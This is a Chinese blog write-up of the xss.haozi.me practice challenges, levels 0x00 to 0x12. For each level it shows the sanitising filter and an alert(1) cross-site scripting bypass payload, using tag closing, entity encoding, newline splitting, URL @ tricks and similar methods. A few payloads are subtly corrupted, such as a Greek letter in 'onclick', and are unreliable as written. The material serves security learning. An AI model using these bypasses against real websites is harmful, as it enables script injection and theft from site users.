XSS.haozi.me刷题

前言

文章同步于个人博客https://www.quan9i.top
XSS学习过后,想刷一些题,github找到一个,链接如下
https://xss.haozi.me/

0X00

function render (input) {
  return '<div>' + input + '</div>'
}

在这里插入图片描述
看到服务端是没有任何防护的,直接简单的xss语句即可

<script>alert(1)</script>

在这里插入图片描述

0X01

function render (input) {
  return '<textarea>' + input + '</textarea>'
}

在这里插入图片描述
发现前后多了个<textarea>标签,那我们这里的话,直接把前面给闭合了,后面就可控了,此时再插入我们的xss语句即可

</textarea><script>alert(1)</script>

在这里插入图片描述

0X02

方法一

function render (input) {
  return '<input type="name" value="' + input + '">'
}

在这里插入图片描述
这题的话看后端代码是把值加到value里了,同时把这个限制到了input里,那我们这里可以把value闭合,把input标签也闭合,然后写入自己的语句,此时即可实现xss

"><script>alert(1)</script>

在这里插入图片描述

方法二

input语句中也可以实现xss,我们把value闭合后,可以添加onclick属性,来实现xss,构造payload如下

" οnclick="alert(1)

在这里插入图片描述

0X03

实体编码绕过

function render (input) {
  const stripBracketsRe = /[()]/g
  input = input.replace(stripBracketsRe, '')
  return input
}

在这里插入图片描述
/g修饰符用于执行全局匹配(查找所有匹配而非在找到第一个匹配后停止)。
总之这里的过滤就是过滤了(),这个时候的话我们的思路有一个就是编码绕过,我们的属性在标签中,在触发前就对其进行了一次解码,因此我们这里可以进行编码绕过,构造payload如下

<a href=javascript:&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41>123<a>

在这里插入图片描述

反引号绕过

可以用`来代替括号,构造payload如下

<script>alert`1`</script>

在这里插入图片描述

0X04

function render (input) {
  const stripBracketsRe = /[()`]/g
  input = input.replace(stripBracketsRe, '')
  return input
}

相比上关多过滤了反引号,这里沿用上关思路即可,编码绕过

<a href=javascript:&#x61;&#x6c;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;>123</a>

在这里插入图片描述

0X05

function render (input) {
  input = input.replace(/-->/g, '😂')
  return '<!-- ' + input + ' -->'
}

这里把内容都给注释了,毋庸置疑这里我们需要闭合这个注释符,但是过滤了-->,不过我们还可以用--!>来进行闭合,构造payload如下

--!><script>alert(1)</script>

在这里插入图片描述

0X06

function render (input) {
  input = input.replace(/auto|on.*=|>/ig, '_')
  return `<input value=1 ${input} type="text">`
}

这里的话可以看见是过滤了auto.*=on.*=以及>,防护的很好,但仍存在一些漏洞,就是这个他过滤的这个属性和=是无缝衔接的,如果我们进行换行,让他不满足这个过滤条件,那么这个过滤不加无效了吗,构造payload如下

onclick
=alert(1)

在这里插入图片描述

0X07

function render (input) {
  const stripTagsRe = /<\/?[^>]+>/gi

  input = input.replace(stripTagsRe, '')
  return `<article>${input}</article>`
}

这里的话不难看出是过滤了<>这个标签,但单个的<>仍是可以使用的,这个时候我们可以借助注释符来实现闭合,构造payload如下

<img src=1 onerror=alert(1)//

在这里插入图片描述

0X08

function render (src) {
  src = src.replace(/<\/style>/ig, '/* \u574F\u4EBA */')
  return `
    <style>
      ${src}
    </style>
  `
}

过滤了</style>,同之前类似,可采用空格和换行绕过

</style ><script>alert(1)</script>
</style
><script>alert(1)</script>

在这里插入图片描述

0X09

function render (input) {
  let domainRe = /^https?:\/\/www\.segmentfault\.com/
  if (domainRe.test(input)) {
    return `<script src="${input}"></script>`
  }
  return 'Invalid URL'
}

这里的要求就是input的需要含有https://www.segmentfault.com,这个时候我们看语句的话,发现它是被一对双引号包裹的,我们输入一个双引号就可以实现自由插入属性,但此时是不能够xss的,所以我们需要再闭合标签,即添加"></script>来闭合,而后添加我们的语句即可

https://www.segmentfault.com"></script><img src="" onerror=alert(1)>
https://www.segmentfault.com"></script><script>alert(1)</script>

在这里插入图片描述

0X0A

function render (input) {
  function escapeHtml(s) {
    return s.replace(/&/g, '&amp;')
            .replace(/'/g, '&#39;')
            .replace(/"/g, '&quot;')
            .replace(/</g, '&lt;')
            .replace(/>/g, '&gt;')
            .replace(/\//g, '&#x2f')
  }

  const domainRe = /^https?:\/\/www\.segmentfault\.com/
  if (domainRe.test(input)) {
    return `<script src="${escapeHtml(input)}"></script>`
  }
  return 'Invalid URL'
}

这里发现过滤了很多,&、/、<、>、/、'这些都被ban了,这里的话就需要一个知识点了,在SSRF中也比较常用,就是添加@,看似是访问前者,实际访问的是后者,比如访问https://wwwbaidu.com@quan9i.top时,实际访问的就是https://quan9i.top
在这里插入图片描述
这里的话我们可以发现作者在靶场中留下了一个j.js文件,我们就可以让它访问这个,从而触发xss
在这里插入图片描述
构造payload如下(用火狐浏览器)

https://www.segmentfault.com@xss.haozi.me/j.js

在这里插入图片描述

0X0B

function render (input) {
  input = input.toUpperCase()
  return `<h1>${input}</h1>`
}

toUpperCase()函数使得输入的内容全为大写,本来我构造的payload是这样的

<a href=javascript:alert(1)>123//

但大写的alert(1)无法成功触发xss,这里的话我们看到这个内容是在标签中的,我们可以把alert(1)进行实体编码,在服务器端会自动解码,因此构造最终payload如下

<a href=javascript:&#x61;&#x6c;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;>123//

在这里插入图片描述

0X0C

function render (input) {
  input = input.replace(/script/ig, '')
  input = input.toUpperCase()
  return '<h1>' + input + '</h1>'
}

在上关的基础上多过滤了个script标签,这里的话我们直接把script进行实体编码即可绕过

<a href=java&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;:&#x61;&#x6c;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;>123//

在这里插入图片描述
当然,也可以不用这个标签,换其他标签,例如img

<img src=0 onerror=&#x61;&#x6c;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;>

0X0D

function render (input) {
  input = input.replace(/[</"']/g, '')
  return `
    <script>
          // alert('${input}')
    </script>
  `
}

这里的话可以看出它是把我们写的内容放注释里了,同时过滤了"、'、/,这个时候的话,绕过注释简单,我们只需要一个换行即可,而后插入alert(1),但此时存在一个问题,就是后面多出了个’),我们需要注释,但/被ban了,该怎么办呢,这个时候就需要说一下html了,它还有注释方法是<!-- xxx -->这种,因此我们添加–>来闭合即可,构造最终payload如下


alert(1)
-->

在这里插入图片描述

0X0E

题目代码如下

function render (input) {
  input = input.replace(/<([a-zA-Z])/g, '<_$1')
  input = input.toUpperCase()
  return '<h1>' + input + '</h1>'
}

这里的话给标签都添加了下划线,这个时候的话新添标签就无效了,这个时候可以用ſ来代替s,但alert(1)大写的话是无用的,因此需要用其他属性了,这个时候可以用src,结合作者的js文件,触发xss

<ſcript src="https://xss.haozi.me/j.js"></script>

在这里插入图片描述

0X0F

function render (input) {
  function escapeHtml(s) {
    return s.replace(/&/g, '&amp;')
            .replace(/'/g, '&#39;')
            .replace(/"/g, '&quot;')
            .replace(/</g, '&lt;')
            .replace(/>/g, '&gt;')
            .replace(/\//g, '&#x2f;')
  }
  return `<img src onerror="console.error('${escapeHtml(input)}')">`
}

使用escapeHTML,将字符串<script>alert(1)</script转为 &lt;script&gt;alert(1);&lt;/script&gt;此时,浏览器将能正确解析,因为浏览器接收到实体字符后,转成对应的尖括号等
因此这里是没啥影响的,所以这里的话就是consonle.error('x'),我们可控的是x,那我们如果想进行xss,首先肯定要避开这个括号,因此我们先进行闭合,构造');,此时再添加我们的弹窗语句alert(1),此时后面还有一个'),我们需要闭合它使语句正常,所以添加一个('来闭合语句,最终payload

');alert('1

0X10

function render (input) {
  return `
<script>
  window.data = ${input}
</script>
  `
}

这个可以在随便一个网页上进行测试,windows.data=alert(1)就可以触发xss
在这里插入图片描述

因此这里直接输入alert(1)即可

alert(1)

0X11

题目代码如下

// from alf.nu
function render (s) {
  function escapeJs (s) {
    return String(s)
            .replace(/\\/g, '\\\\')
            .replace(/'/g, '\\\'')
            .replace(/"/g, '\\"')
            .replace(/`/g, '\\`')
            .replace(/</g, '\\74')
            .replace(/>/g, '\\76')
            .replace(/\//g, '\\/')
            .replace(/\n/g, '\\n')
            .replace(/\r/g, '\\r')
            .replace(/\t/g, '\\t')
            .replace(/\f/g, '\\f')
            .replace(/\v/g, '\\v')
            // .replace(/\b/g, '\\b')
            .replace(/\0/g, '\\0')
  }
  s = escapeJs(s)
  return `
<script>
  var url = 'javascript:console.log("${s}")'
  var a = document.createElement('a')
  a.href = url
  document.body.appendChild(a)
  a.click()
</script>

可以发现这里除了()之外都进行了过滤,然后看到 var url = 'javascript:console.log("${s}")'这个语句,这里我们只需要构造出单独的alert(1)就可以成功触发xss,所以我们先闭合这个语句,这时候用");来进行闭合,而后添加我们的alert(1),此时因为后面多出了"),我们需要闭合,所以加上(",最终payload如下

");alert(1)("

在这里插入图片描述

0X12

题目如下

// from alf.nu
function escape (s) {
  s = s.replace(/"/g, '\\"')
  return '<script>console.log("' + s + '");</script>'
}

仅仅只过滤了/,这里的话我们直接把这个标签给闭合了,自己再构造一个script标签来写入我们的xss代码即可

</script><script>alert(1)</script>

在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值